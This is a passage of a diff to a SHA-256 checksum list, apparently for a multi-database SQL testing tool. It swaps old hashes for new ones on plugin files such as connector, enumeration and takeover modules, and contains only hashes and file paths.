-881f9c23a53afde5073f790071614403fe76f339b2b0c9fc86d6c40da8b0473b plugins/dbms/cubrid/syntax.py -16091b3e625d40961a7a6c5edfe8d882e5fbe50938c3cc6d44f2eac0d5deab55 plugins/dbms/cubrid/takeover.py -fd4385269d1034c909fe515c09ca12113152852e2780c54e0e5e6d11c28eb596 plugins/dbms/db2/connector.py -532c175c513b6ef8de5d00014d2046c2b25d1a076856ad8fc9f3f100a61e3f14 plugins/dbms/db2/enumeration.py -657a4e3657a1fdc20312978b090dd2d4a9d5bf1a21df41703ca7ee3e3aea6a21 plugins/dbms/db2/filesystem.py -00376b6077af499499158eeb08d750fec756057b9baa464591d6eef0d4ca7e57 plugins/dbms/db2/fingerprint.py -5adf4f0cff2935a56dd8c7a166235e4f2f34e74c4e4b4fb2573366af68623699 plugins/dbms/db2/__init__.py -3c163c8135e2ab8ed17b0000862a1b2d7cf2ec1e7d96d349ec644651cdecad49 plugins/dbms/db2/syntax.py -471f50a708a1b27ede808ce2a8fc6875e49288a2dcb2627b1af7020f3837f7c4 plugins/dbms/db2/takeover.py -1ce9db8df570b85bec4f8309be2ef06dd62018364bf15992195cb543a6b49716 plugins/dbms/derby/connector.py -8e8f6b3d82fcad643b0937a14f40367eaae6fa487a9212280e2f4f163047696f plugins/dbms/derby/enumeration.py -657a4e3657a1fdc20312978b090dd2d4a9d5bf1a21df41703ca7ee3e3aea6a21 plugins/dbms/derby/filesystem.py -4025083e6fed8464797c64ac8f65e6e422b5d6dc8661896a745552a4ee995bee plugins/dbms/derby/fingerprint.py -13ddcf11f9cb4ffe4a201ce91fb116720a9168911975e63ecf5472060253b91a plugins/dbms/derby/__init__.py -1b590a87dca60c10c967765d1b489d58d91da68cae251e491de88ff2fb24d943 plugins/dbms/derby/syntax.py -a4a38ca00d2161ab36bb2506f10907d42f432c4dfff64e3743cdeae556c91255 plugins/dbms/derby/takeover.py -00e13c9bc3e4c5e27c717fa71bec50357ba51a1866f98c6809e2d24626302376 plugins/dbms/extremedb/connector.py -633357a29048f2b72809e8083c97894f51509a37df061a2a29d8f820e04cac35 plugins/dbms/extremedb/enumeration.py -06239d5e2bdda53abf220d01e0066ffb8effffc39462f7746f27b1dba45267de plugins/dbms/extremedb/filesystem.py -e41b0d6517fd065e17e53634d662b6e487128ab085a99abfa36fa4268b84cfe2 plugins/dbms/extremedb/fingerprint.py -8d97040ca717d56708915325a8c351af529a155daef5e3a13f1940614d762445 plugins/dbms/extremedb/__init__.py -1b590a87dca60c10c967765d1b489d58d91da68cae251e491de88ff2fb24d943 plugins/dbms/extremedb/syntax.py -38833cbc9b77747e8a8914f3c9ec05cfdd44c56da7a197c4e3bdd879902c888c plugins/dbms/extremedb/takeover.py -65040b861e0116e193d5a561717b2ce6052bdc93481dbc0bb7a6852b6603442d plugins/dbms/firebird/connector.py -284835f0dd88216e1b0efff15fc4cc44503a3f07649fbe77987dfcd453752f6b plugins/dbms/firebird/enumeration.py -114057c87f48055025744f0285f10efa9657a2ed98c3726781db3638da9c9422 plugins/dbms/firebird/filesystem.py -ec6c4ef29e37496becf61c31ffa058886edd065ff40981c6e766e78ff12bbe2c plugins/dbms/firebird/fingerprint.py -a4d3186858759502579831b622c60689307a6439759e54a447093753e80109bc plugins/dbms/firebird/__init__.py -01275393a50ec7a50132942d4f79892b08cf68aec949873f3da262169d3f7485 plugins/dbms/firebird/syntax.py -7cb25444d6a149187b3ce538f763027f28a1a068a1abc5a3da6120580be8772c plugins/dbms/firebird/takeover.py -4292e4a76fe313868970f4539a317001c74e3836b2b69b3c3badaf296b1eb22e plugins/dbms/frontbase/connector.py -cff20f1ccaf8b0d739d46896f971a012886c66248305c019becb811b8f541307 plugins/dbms/frontbase/enumeration.py -25ddf6d047e182edc39b57bf1d9f17d25061a9e8fc32161b83ac750fe1724ac8 plugins/dbms/frontbase/filesystem.py -4b033054189b2da91380e77dccf291857447b3974a6b26865e32d664afa9d089 plugins/dbms/frontbase/fingerprint.py -9b3dc128460f77e8c605ab33e2a8d4150eeb351e12a37903bf8763446c624153 plugins/dbms/frontbase/__init__.py -1b590a87dca60c10c967765d1b489d58d91da68cae251e491de88ff2fb24d943 plugins/dbms/frontbase/syntax.py -89948ac31e8de2d1cf0c62f8dff259e34caf4bf2fd0f8e52960327b550eed34d plugins/dbms/frontbase/takeover.py -de5f531949c95cf91ffe0fe90b5bf586373c7ae5a7f02b7eecd95c3ca9cc4d24 plugins/dbms/h2/connector.py -05843e3115f14366ec8f7f756e07045af59acc48646cd1959edf91e0b2806f57 plugins/dbms/h2/enumeration.py -784ec057d71949fce341ec6a953b91dd085ae1b58e593f04e1efb6e4a5f313b4 plugins/dbms/h2/filesystem.py -e98b9eda4e689fb62012f16483e2898b71930b5378b8dbf10e9bb24fc78a276b plugins/dbms/h2/fingerprint.py -d404aacac0413373bda0a39a45e4a9c000bb6131fcd7c6f2e70815f1eb6ccefd plugins/dbms/h2/__init__.py -ede16cc48cd7f51db8225c9b3f802752dd407a9fe489c24ba8400ae9aaa9791e plugins/dbms/h2/syntax.py -e5de2d96b1871d9824569914d54568e4dae929e5ee925ad80a77d08d680904e3 plugins/dbms/h2/takeover.py -1831eb4a604e30e9dc1a6218cb4c8f9cabaeb81351fe34f8cfcdd054cfa379c5 plugins/dbms/hsqldb/connector.py -0a726c004e17d3ff9aaaf2b96c095042d7533befa4fdd80faf28c76297350f4d plugins/dbms/hsqldb/enumeration.py -193f81f821e1d95fd6511b62344d71a99eb70aef5eedd3833d3b37d6813cc9f8 plugins/dbms/hsqldb/filesystem.py -bde755a921c9d8537ff5853997bc0f43f41453976d6660702b7d00ae5161c62f plugins/dbms/hsqldb/fingerprint.py -b016973c12a426f10f11ea58fb14401831156dc7222bf851d2a90c34c6b6c707 plugins/dbms/hsqldb/__init__.py -ede16cc48cd7f51db8225c9b3f802752dd407a9fe489c24ba8400ae9aaa9791e plugins/dbms/hsqldb/syntax.py -cf02f962cd434abd0e3b5b3993b489c2114977fffa5254686575b33ffb37aed0 plugins/dbms/hsqldb/takeover.py -8064467fd081da10bd2d008e6015f095c04aa50db3c9bbecbd20a033465527b3 plugins/dbms/informix/connector.py -9bc07d4ea47e451e26c133015f0af31577625986b21ff39e5d8b57c05a9331c7 plugins/dbms/informix/enumeration.py -657a4e3657a1fdc20312978b090dd2d4a9d5bf1a21df41703ca7ee3e3aea6a21 plugins/dbms/informix/filesystem.py -e2ccc591d5a9d9e90ede93fb055791babc492cd7149183339133f79be0d4302c plugins/dbms/informix/fingerprint.py -651635264fea756af0cef5271a70ce38b2801909147fc28d53e01c7cfe8a8f6b plugins/dbms/informix/__init__.py -e3e38f0285479aa77036002e326261380112560747ef8ee51538891413e3b90a plugins/dbms/informix/syntax.py -471f50a708a1b27ede808ce2a8fc6875e49288a2dcb2627b1af7020f3837f7c4 plugins/dbms/informix/takeover.py -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 plugins/dbms/__init__.py -553d7fd01513d6d0e80ef75730204f452f385f4f2f46b5f7d242c6defe52c348 plugins/dbms/maxdb/connector.py -2f428ddaeff3ae687d7bab916a769939f98547887a276e93b95eb849c66306df plugins/dbms/maxdb/enumeration.py -00a24e5179f40a79705042854ed12ba2b0fc96df9e46c85bde6d49bf469d23e1 plugins/dbms/maxdb/filesystem.py -5fb3c5e02dee783879b1668730ac6ea26011afabd71d91ba8b1872247c1c5867 plugins/dbms/maxdb/fingerprint.py -53743ebba549f2d56adf0fd415790c58b86f92220283097b336c2d1d569f8c7b plugins/dbms/maxdb/__init__.py -1b590a87dca60c10c967765d1b489d58d91da68cae251e491de88ff2fb24d943 plugins/dbms/maxdb/syntax.py -1cb27817683c67f71349df55b08082bd68c2e17407f91d67dc5fe7944cb1bbd2 plugins/dbms/maxdb/takeover.py -d36af9d41a4cf080e8d0734b1ef824dc721bf8607a677ac1d31954ba3dc53326 plugins/dbms/mckoi/connector.py -9a2a2744808f25a24b75ced3214e16597249c57d53db85258084f3a6da082eb7 plugins/dbms/mckoi/enumeration.py -8d5f4442533ff2e0fe615f839ba751730383931f92425133f707bc8e82f4697a plugins/dbms/mckoi/filesystem.py -b36336ae534d372ec3598eab48896da5ebe1946c97f1a1a56b93105961c6b2b8 plugins/dbms/mckoi/fingerprint.py -dcf4a6bfe55598017a45beefbacedb28f7dbef26f612c11db65bfeb768c380e8 plugins/dbms/mckoi/__init__.py -1b590a87dca60c10c967765d1b489d58d91da68cae251e491de88ff2fb24d943 plugins/dbms/mckoi/syntax.py -d2077417f4865b9f93a1c3a4190bd82570bc145a1755fb5e26b5b28c1a640618 plugins/dbms/mckoi/takeover.py -1815a402f91d87905777cf1db45d7fbd99f0712a1cef2533e36298ea9b22eee8 plugins/dbms/mimersql/connector.py -b71454d0f52bb633049f797e5b18ec931bc481d8c4d5046b5f30c37ec5dc1a6f plugins/dbms/mimersql/enumeration.py -657a4e3657a1fdc20312978b090dd2d4a9d5bf1a21df41703ca7ee3e3aea6a21 plugins/dbms/mimersql/filesystem.py -080101c138a624e9ac7890c40175a6954f6dfea3c9d9f9e7d8d7b3954533ade5 plugins/dbms/mimersql/fingerprint.py -8cf1c1e39107773b5f2e526edbab73999514c2daa0cd2f08061e8577babaf165 plugins/dbms/mimersql/__init__.py -9acf4e3742a49b51f20282b750dee0db3dcf0ac90dd5839061665245c8d10eb3 plugins/dbms/mimersql/syntax.py -b086998719dfe4a09517c333dc7be99d41a0a73d84b1aa446ef65da3a57dc69f plugins/dbms/mimersql/takeover.py -626442ba4cd5448fb63557d0c3151e947d442944b498abc81804cf374b725f03 plugins/dbms/monetdb/connector.py -8403e8fc92861f7bf6f57cd47468f60119456bb4874d9886ee55a82df0af2859 plugins/dbms/monetdb/enumeration.py -657a4e3657a1fdc20312978b090dd2d4a9d5bf1a21df41703ca7ee3e3aea6a21 plugins/dbms/monetdb/filesystem.py -3d34ffdbf6e271213af750d4ff9d65c973809562b288d430e61cbe358427b767 plugins/dbms/monetdb/fingerprint.py -84be6b07eac4ab617319d109de6c1f9a373178ad5dd8589c204413710575f18c plugins/dbms/monetdb/__init__.py -574c1ba8f4b9a6a80beae9f845ad820537da228743c8012ca906d26c38bcafda plugins/dbms/monetdb/syntax.py -84a42a2b17ecd9d0524bd9f6a11ccd9eb04e2b58d91025cb0c9cf023eb89c35c plugins/dbms/monetdb/takeover.py -e0ce08d19dc384c140230742c3d5f0c6cfdcc017e7ca81bf3fe1ead4abfa8155 plugins/dbms/mssqlserver/connector.py -3b0093bb79d9579cb439bcf29880c242305a5ab8aba6d043f6058ffb89c5e8b5 plugins/dbms/mssqlserver/enumeration.py -e16b6cad77d988c490cea7f4737eee072e5e99ddb96b4b54d60ed5468f6e1c69 plugins/dbms/mssqlserver/filesystem.py -88a613aa168a2ce241f8bf2233a1f00e6216aef17e469d0543b6c678d14e9ea1 plugins/dbms/mssqlserver/fingerprint.py -376656382ddbfdbf0001cc92f09fc58692c7645fdaf40788b314130a01f99eb6 plugins/dbms/mssqlserver/__init__.py -fdc3effe9320197795137dedb58e46c0409f19649889177443a2cbf58787c0dd plugins/dbms/mssqlserver/syntax.py -77ea4b1cd1491b3f1e2e98a8ff2e20ac300b693dd39b0c7330e0b29e233a00df plugins/dbms/mssqlserver/takeover.py -7f0165c085b0cb7d168d86acb790741c7ba12ad01ca9edf7972cfb184adb3ee9 plugins/dbms/mysql/connector.py -05c4624b2729f13af2dd19286fc9276fc97c0f1ff19a31255785b7581fc232ae plugins/dbms/mysql/enumeration.py -9915fd436ea1783724b4fe12ea1d68fc3b838c37684a2c6dd01d53c739a1633f plugins/dbms/mysql/filesystem.py -6114337620d824bf061abee8bcfe6e52aea38a54ee437f1cfff92a9a2097c6a7 plugins/dbms/mysql/fingerprint.py -ae824d447c1a59d055367aa9180acb42f7bb10df0006d4f99eeb12e43af563ae plugins/dbms/mysql/__init__.py -60fc1c647e31df191af2edfd26f99bf739fec53d3a8e1beb3bffdcf335c781fe plugins/dbms/mysql/syntax.py -784c31c2c0e19feb88bf5d21bfc7ae4bf04291922e40830da677577c5d5b4598 plugins/dbms/mysql/takeover.py -477d23978640da2c6529a7b2d2cb4b19a09dedc83960d222ad12a0f2434fb289 plugins/dbms/oracle/connector.py -ff648ca28dfbc9cbbd3f3c4ceb92ccaacfd0206e580629b7d22115c50ed7eb06 plugins/dbms/oracle/enumeration.py -3a53b87decff154355b7c43742c0979323ae9ba3b34a6225a326ec787e85ce6d plugins/dbms/oracle/filesystem.py -f8c0c05b518dbcdb6b9a618e3fa33daefdb84bea6cb70521b7b58c7de9e6bf3a plugins/dbms/oracle/fingerprint.py -3747a79b8c720b10f3fae14d9bd86bfbb9c789e1ffe3fa13e41792ec947f92c5 plugins/dbms/oracle/__init__.py -73d3770ab5ce210292fd9db62c6a31d2d658ce255b8016808152a7fc4565bb1e plugins/dbms/oracle/syntax.py -061ca04f66ee30c21e93f94221c224eca0c670a8b3e0e2a4ac3cab8470d889b7 plugins/dbms/oracle/takeover.py -318df338d30f8ffaffb50060a0e7c71116a11cdd260593c4c9758ae49beafedd plugins/dbms/postgresql/connector.py -851c5abcf9d3ebe27d93b85c0dd4dda1ad58696075b0fb5e84bb97cc70c7a255 plugins/dbms/postgresql/enumeration.py -e847084832ede1950372e931dd3a0214c64dab4e00c62dd1c732f372d1ca2dcf plugins/dbms/postgresql/filesystem.py -4bb66ec17398a9ae9870b169706024406557ec8c705078ca8726314b905c199e plugins/dbms/postgresql/fingerprint.py -91913cf6c35816bcdf3e0ed8dfecc44db746e889c4edaec1a81b59934943c7b2 plugins/dbms/postgresql/__init__.py -2e2555be38d523c2b8dfe2ad421a2c62c2bb416d76aa8d097e8f7214e2397114 plugins/dbms/postgresql/syntax.py -da7fad7a57747fc24c6bb49399c525d403b8a8b9fc665556b26f1c07e11ae1a6 plugins/dbms/postgresql/takeover.py -f3f5a720ea6f3ae2cde202e15e121ab38904996661a5aac388055c02751fd96c plugins/dbms/presto/connector.py -7b1ab72aaec58a5228c7e55380f00f8d10a0854e5a99be107cc4724e1c1671d9 plugins/dbms/presto/enumeration.py -cb65256cd03c6ab59d80e5ef0246679ef061a58df8576f3e6417046eadf4473c plugins/dbms/presto/filesystem.py -a7f7694ae7ea2ccb849816d7be159cbf589e7f4d5ee3045ac6278e5483cd5ee3 plugins/dbms/presto/fingerprint.py -d8a071556a7326fb8b7df18c402788fbe03039a300aa72e43eeeb5de130b8007 plugins/dbms/presto/__init__.py -3c163c8135e2ab8ed17b0000862a1b2d7cf2ec1e7d96d349ec644651cdecad49 plugins/dbms/presto/syntax.py -d2ae69988becba3d4279b5f085f336b3ab8a2aa81316f65e8836d5c700926a3d plugins/dbms/presto/takeover.py -9a08e94254657ce1aa140bda68cd689d5f10f4be19b5c48527f578fcd04e8f0d plugins/dbms/raima/connector.py -2e9348962675a7f0fc51706582d9ab2be24a79bde1de1ecc696383fed7f14594 plugins/dbms/raima/enumeration.py -ac0ec1b50554b782e173a8e1baa21199d6f558e5b2d70540a247667ea12c8f92 plugins/dbms/raima/filesystem.py -fc0d15fb5ee3d69c9b3903230deb10d92c231a73ab500008a73239b89b4e7465 plugins/dbms/raima/fingerprint.py -7114626cf28256502c9de4dadb684543168d9878773cab853e4f34275ac8ef72 plugins/dbms/raima/__init__.py -ede16cc48cd7f51db8225c9b3f802752dd407a9fe489c24ba8400ae9aaa9791e plugins/dbms/raima/syntax.py -282202909302ccbc587d1b7c36b789cd8f914333e11018688d78815414d4f522 plugins/dbms/raima/takeover.py -217760aeadbb64490c41d7f0df9cc5d75f897b29e53941130773c8ccf66acc66 plugins/dbms/sqlite/connector.py -27fba72680f6f947abd5cd7e5b436fbfe2c216b71c20e62fce933ea2a9cd0b73 plugins/dbms/sqlite/enumeration.py -b1355e45bdb812256b2aed78b81719a66999f30e77bef70b3f1f9b2ec00fa6d5 plugins/dbms/sqlite/filesystem.py -d99d8f0862d31a2c9e12fe74590170a585663cce7c227269314faea545e4ecaa plugins/dbms/sqlite/fingerprint.py -f494bfd48c16183bd362765880329c3b2d21112238ab61ba0d0a048d1da6d3d4 plugins/dbms/sqlite/__init__.py -bb391c4d981e7c3fe9e02be0a3d3bdda34eebd518867a4cc0a7d90f515fa3523 plugins/dbms/sqlite/syntax.py -62088c813408d1f447c470f1fe55cfc9478ddff8afa025bfa5b668f1752e86c7 plugins/dbms/sqlite/takeover.py -13983ba5b6801981c309b7b299a7e8047986e689ea4426c59e977e85571f14fc plugins/dbms/sybase/connector.py -13b1d2966976f73a111e154ff189cc3596c0aed19a47510cae6f1fb1bbd380d1 plugins/dbms/sybase/enumeration.py -7430f090e69cf93d237cd054c59ed7dbd884cc4832ec024bd7e4393c105d90d1 plugins/dbms/sybase/filesystem.py -4915bbb31035fd47fe566cc3318404cf61f4d98ba08ab9eebf69027ffbb2d2f9 plugins/dbms/sybase/fingerprint.py -a6a3effa211183b83cf4afe82cce9764f6d4bfc49ea4644233613b3aa98fde28 plugins/dbms/sybase/__init__.py -7d7e672fce3e5eb0f8b3447cf0809918347ff71e1c013561fef39b196fae450a plugins/dbms/sybase/syntax.py -1cf6586396fd5982387c9a493217abcddd71031550a41738340d4949348c2b5b plugins/dbms/sybase/takeover.py -0da09bbfd92e019f41e8e3b95412e49948694700ff741e6c170a2da87ad4b56c plugins/dbms/vertica/connector.py -49988044800604253f6043d7e43793651e4abe0e65060db8228f91448b3152e2 plugins/dbms/vertica/enumeration.py -657a4e3657a1fdc20312978b090dd2d4a9d5bf1a21df41703ca7ee3e3aea6a21 plugins/dbms/vertica/filesystem.py -7a1e17a8f6b8063cfbcea57a24a2c11bc31e324ba1e01f9468584ed56c3e493e plugins/dbms/vertica/fingerprint.py -57b4ce0c98308002954308278191efb13255f79b1c286c40388adb692f8fc9ba plugins/dbms/vertica/__init__.py -4752e6af48a2750dae0d7756ad6457b02e766582106207b8d3985b46b2cfe18a plugins/dbms/vertica/syntax.py -a96c63ffc1d65d382595d060b2e94a30feaadf218db27a9d540b9e8fd344abed plugins/dbms/vertica/takeover.py -bccdbff8da0898d4e331646a67ece3c8e0cdc3e955ba12022d85d5077a760291 plugins/dbms/virtuoso/connector.py -cba0154f1ee52703be1d03800607b6cf3eab96b1fe60664ee85937df23818104 plugins/dbms/virtuoso/enumeration.py -4f614ce5b3c3c0eee8b903c9cfecea0cabdfb535dfd5e7a6b901a6ed54e51a12 plugins/dbms/virtuoso/filesystem.py -e81d43810ee8232c0dd01578433e2ec4dfc1589a8e39f0a86772ee41a80c68f8 plugins/dbms/virtuoso/fingerprint.py -acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/virtuoso/__init__.py -3c163c8135e2ab8ed17b0000862a1b2d7cf2ec1e7d96d349ec644651cdecad49 plugins/dbms/virtuoso/syntax.py -7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py -e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py -ef413f95c1846d37750beae90ed3e3b3a1288cfa9595c9c6f7890252a4ee3166 plugins/generic/custom.py -c9b9e2453544ba45232913089eef47059f90df2c8125e389eee5e1e940aa9c6a plugins/generic/databases.py -9c9717da01918e92901cd659279259eea74131a1b7d357a8f231d022ec19ba56 plugins/generic/entries.py -a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py -1c2e812096015eaef55be45d3a0bcd92b4db27eace47e36577aeff7b4246ad35 plugins/generic/filesystem.py -05f33c9ba3897e8d75c8cf4be90eb24b08e1d7cd0fc0f74913f052c83bc1a7c1 plugins/generic/fingerprint.py -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 plugins/generic/__init__.py -3c5f83d8c18443870ee0e1e61be2d65c175d9f02f0732885467e46a681bb9716 plugins/generic/misc.py -83391b64fc6c16aba6ddc5cc2b737de35b2aa7b98f5eafe5d1ee2b067da50c64 plugins/generic/search.py -978a495aaa3fc587e77572af96882a99aca7820f408fe1d4d0234a7ffb3972bb plugins/generic/syntax.py -fff84edc86b7d22dc01148fb10bb43d51cb9638dff21436fb94555db2a664766 plugins/generic/takeover.py -0bc5c150e8cf4f892aba1ff15fc8938c387fb2a173b77329a0dc4cdb8b4bb4e2 plugins/generic/users.py -99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 plugins/__init__.py +fa45c4ce21c22eb62c0af72043333acc0829e03fe493ea541f0d5ef7c897106b lib/utils/sqlalchemy.py +bbdd6baaf35af44c54814867cbc39c20a1f439825a5187e1b57a6de403827c5b lib/utils/timeout.py +c91f58935cdcc92ddb19d39cbb2682f0c27f7afca03f54bc3339ab79b6ce009f lib/utils/versioncheck.py +6db999394de705f14455afd6bcb8d3e002617b3c05ef5f8460016321944322ec lib/utils/xrange.py +33049ba7ddaea4a8a83346b3be29d5afce52bbe0b9d8640072d45cadc0e6d4bb LICENSE +d370bc084f3a2e0530376535fb8008aae3bf15347265810cc8e9385875ba1f3e plugins/dbms/access/connector.py +cb5af76dace2a68873f74116e3c2f2c9d6ec8110a407d42a184fa95a5613794b plugins/dbms/access/enumeration.py +4e2696cff684223dffbd0e82526f37cd888d5e37e431c83032cb9b9e7ed79bf7 plugins/dbms/access/filesystem.py +0aefa72d06a02339a01112dd7dd518feb37c3ec7ced8b2753957457b41c43dda plugins/dbms/access/fingerprint.py +86fbc71bdfb1bf45945b6d6d29ce2d88bf7533c815e4bba547c668a548b7b070 plugins/dbms/access/__init__.py +1214499071805a21fa331a84bdf4d6e62f146d941a0ff7a1d2ec51938c7e3da1 plugins/dbms/access/syntax.py +64354bc61198a9a20623ca175aea982aec996e0a7d0ac886e4017b58d445478a plugins/dbms/access/takeover.py +3b68a22e397eca290a7edbb3d6555b37d59784f178f9f1ec68ab6b12f60604f2 plugins/dbms/altibase/connector.py +235451aee017177d209c6d86b773118c619d089a9652007a1294b90f824e8454 plugins/dbms/altibase/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/altibase/filesystem.py +987b05c3586db8238251583501a21993994d92136d7f253a3032ae414cadb1c4 plugins/dbms/altibase/fingerprint.py +c38dfe9b4c5c378ac860b5fd19aeb0c740506ad17644c6c0c079891a39ae7963 plugins/dbms/altibase/__init__.py +359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/altibase/syntax.py +4ce2958a0328272eb563828449a7a7da2932ebffb73cf8bc36d01bb0bd6c2d9c plugins/dbms/altibase/takeover.py +ae2b9e279ba6a6381e6de6bb8c9a1a58139c9a47fd9a6bbeae399ab40494fb3e plugins/dbms/cache/connector.py +5b4f71dae72e439bab52b5be12ca865b43ad6974f91a152960f80f12005bce01 plugins/dbms/cache/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/cache/filesystem.py +00cd3fa2b6d8db2d9cae4729cbeea1626171febc3d0fce49d1e9ea3a3d4b322d plugins/dbms/cache/fingerprint.py +b50a93b43b1ef8785ed8ecf7725ffb60be70a0e39c5f5aff6275afe6cbae3b74 plugins/dbms/cache/__init__.py +2d46462e009241d7f645146a1ceb87b3dac922aba3dcf765836d4fa6d4a77062 plugins/dbms/cache/syntax.py +bd65dade7645aa0531995fb44a34eb9ce241339e13d492fb1f41829c20ee6cf9 plugins/dbms/cache/takeover.py +b32a001e38d783da18fb26a2736ff83245c046bc4ced2b8eea30a4d3a43c17ff plugins/dbms/clickhouse/connector.py +c855b2813bee40f936da927d32c691a593f942ed130a6fcd8bd8ba2dd0b79023 plugins/dbms/clickhouse/enumeration.py +6a747cc03150e842ef965f0ba7b6e6af09cf402c5fcec352c4c33262a0fb6649 plugins/dbms/clickhouse/filesystem.py +e159d542bb11c39efddb3d2361e85a6c02c3fcd8379d1e361788b1238cb30d4c plugins/dbms/clickhouse/fingerprint.py +3d11998b69329244ca28e2c855022c81a45d93c1f7125c608b296cc6cae52f90 plugins/dbms/clickhouse/__init__.py +0e10abe53ab22850c0bde5cdbc25bb8762b49acd33e516908a925ca120e99b8d plugins/dbms/clickhouse/syntax.py +97aad46616dd7de6baf95cb0a564ffe59677cacf762c21ade3a76fdf593ea144 plugins/dbms/clickhouse/takeover.py +c9a8ac9fa836cf6914272b24f434509b49294f2cb177d886622e38baa22f2f15 plugins/dbms/cratedb/connector.py +b72ed76ba5ae2aa243c4521edc6065e9e174abdc1f04d98d6c748ebe7f9089a1 plugins/dbms/cratedb/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/cratedb/filesystem.py +6167e40ba8214b6d2ec0dfce75e09411e42cd00019be6f79d1e4feadbd9ac8e7 plugins/dbms/cratedb/fingerprint.py +ffdb1bc63b19e83621ba283c3ad1a5cdcbfe8ce531d896c0399a7299ac96dd1e plugins/dbms/cratedb/__init__.py +642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/cratedb/syntax.py +c9ad859ab80abc53be9a39f8872beaa373e272dbdb91ec364ac90aabb0c33e6c plugins/dbms/cratedb/takeover.py +a0fd0084f2b66451a4e5319479e481475d834ab5afee5fab4482ad422c82c05e plugins/dbms/cubrid/connector.py +8a8fc2dd8f225ba537b6c29613e50cfe737eea94aeb4c75a26385528dd2bfb94 plugins/dbms/cubrid/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/cubrid/filesystem.py +ff2b84a3cf82d839e5a1b25a59af398310a69197d3e514c01f5dddaf5975bd4e plugins/dbms/cubrid/fingerprint.py +75cf7331e3fc9531815d36743e91e791e762532ce8c6e0e7653b337b5c581e4e plugins/dbms/cubrid/__init__.py +1cdc563915dd58036b65df6a8c067aaa7176089c42a1b96bafdebe5c156d6d8d plugins/dbms/cubrid/syntax.py +98de1c6a28fae8d0f765551dd6d4b22f8982513c75cfef045099b620db778a4b plugins/dbms/cubrid/takeover.py +fb55dc97f9850947740a6e54cd39a1d733031eb37d5ff413a087b1e29800dc95 plugins/dbms/db2/connector.py +c815a27a9a166466f3d0c2c4c9c2d1764505c6a921708c7ee175d9b2fc7cb55f plugins/dbms/db2/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/db2/filesystem.py +6a460542cf76a8c8edf45456332a2db48b1fdc827540995ec8cd39fc01625219 plugins/dbms/db2/fingerprint.py +6ab11009b27309848daf190700e3733ee0dc3331fc6de669c79092567617fcc0 plugins/dbms/db2/__init__.py +359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/db2/syntax.py +0d10b24235d3633b2115843fc073badd6b875db3732bb3912b4059ee060974a8 plugins/dbms/db2/takeover.py +101b9e06daae74a6af1b267201b33247b0c5d54782151aa6989d86c3e4a20943 plugins/dbms/derby/connector.py +4cdfc36d2733793da1f50ef8816da0f53afd4d3f95a9f86455452787a5e07428 plugins/dbms/derby/enumeration.py +81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/derby/filesystem.py +6e284c28fc81872afff3be64e407ac28f9796bfda7d3f395b3b61c750d1c2f0c plugins/dbms/derby/fingerprint.py +4bc4d640730ac123d955360950c55219eabad8a8ad4a5c5a0466a9539c83259d plugins/dbms/derby/__init__.py +642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/derby/syntax.py +90e369887b4a324842c982d9b6f6db1aca56b78b1eafd5cf2e0ff85446b90c12 plugins/dbms/derby/takeover.py +6d46a4766cd8b94c921d65bab3f9ea686e0aa0399daf61aedfdfd024185ab156 plugins/dbms/extremedb/connector.py +15d814523b5a983e12cba88619043fb144109660d8ac212199b46c33eaad980b plugins/dbms/extremedb/enumeration.py +53da1fef08665e9255585e62cb9f7282832a284054f2bcacd8aafa7b82cd7da7 plugins/dbms/extremedb/filesystem.py +c714522cb2600df8f130538112875a9d4d5877783464411f50f9b1e3f41e396c plugins/dbms/extremedb/fingerprint.py +73a81cdc2b02da674e67bb21c6d93285148d0f1169070f35609bf939e23c8530 plugins/dbms/extremedb/__init__.py +642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/extremedb/syntax.py +d14abf6a89963a097af9db35fbdad0fd5d366a2865de31cf75fc5d82407f10cf plugins/dbms/extremedb/takeover.py +155466d1fde52d80f2ecfd37424b58aef76b6503474738ce39b2edce2101ac15 plugins/dbms/firebird/connector.py +5073015d2919981f685b7fddd78b798a7d65b60ee240f2475b0d0f2b31061a03 plugins/dbms/firebird/enumeration.py +2201415625a450901c26616d296bb80316aff949fb17a6fdac1a36feb7014ae6 plugins/dbms/firebird/filesystem.py +975885c08608fe7972d63febb836da15920a0868bd07bb1e406b54536a3ce7d1 plugins/dbms/firebird/fingerprint.py +823082e811ca16cdfb27de33ab84f4a111cc7e7da4c77dedca211d7036fa5712 plugins/dbms/firebird/__init__.py +61650ce8668686a37d426fb35dd81e386b004785a954b0e27a9731351ceca27d plugins/dbms/firebird/syntax.py +4b17f762682c0b3f6ff7b53d60f110f1f0c2f76a5bf40b10948692fb09d375a7 plugins/dbms/firebird/takeover.py +12eb7cd449870c79a50356502754a7e4517c816cc4e475d6c2182bd0a418bb5f plugins/dbms/frontbase/connector.py +4c33edfa93fce3e93a02852099643280b69aad70792aed2a5394f4ab7e2c266b plugins/dbms/frontbase/enumeration.py +f207fbfd2c52ea6ada72326f579b16aaf6fc1fae4c25f4fa2cc545a45f2c2680 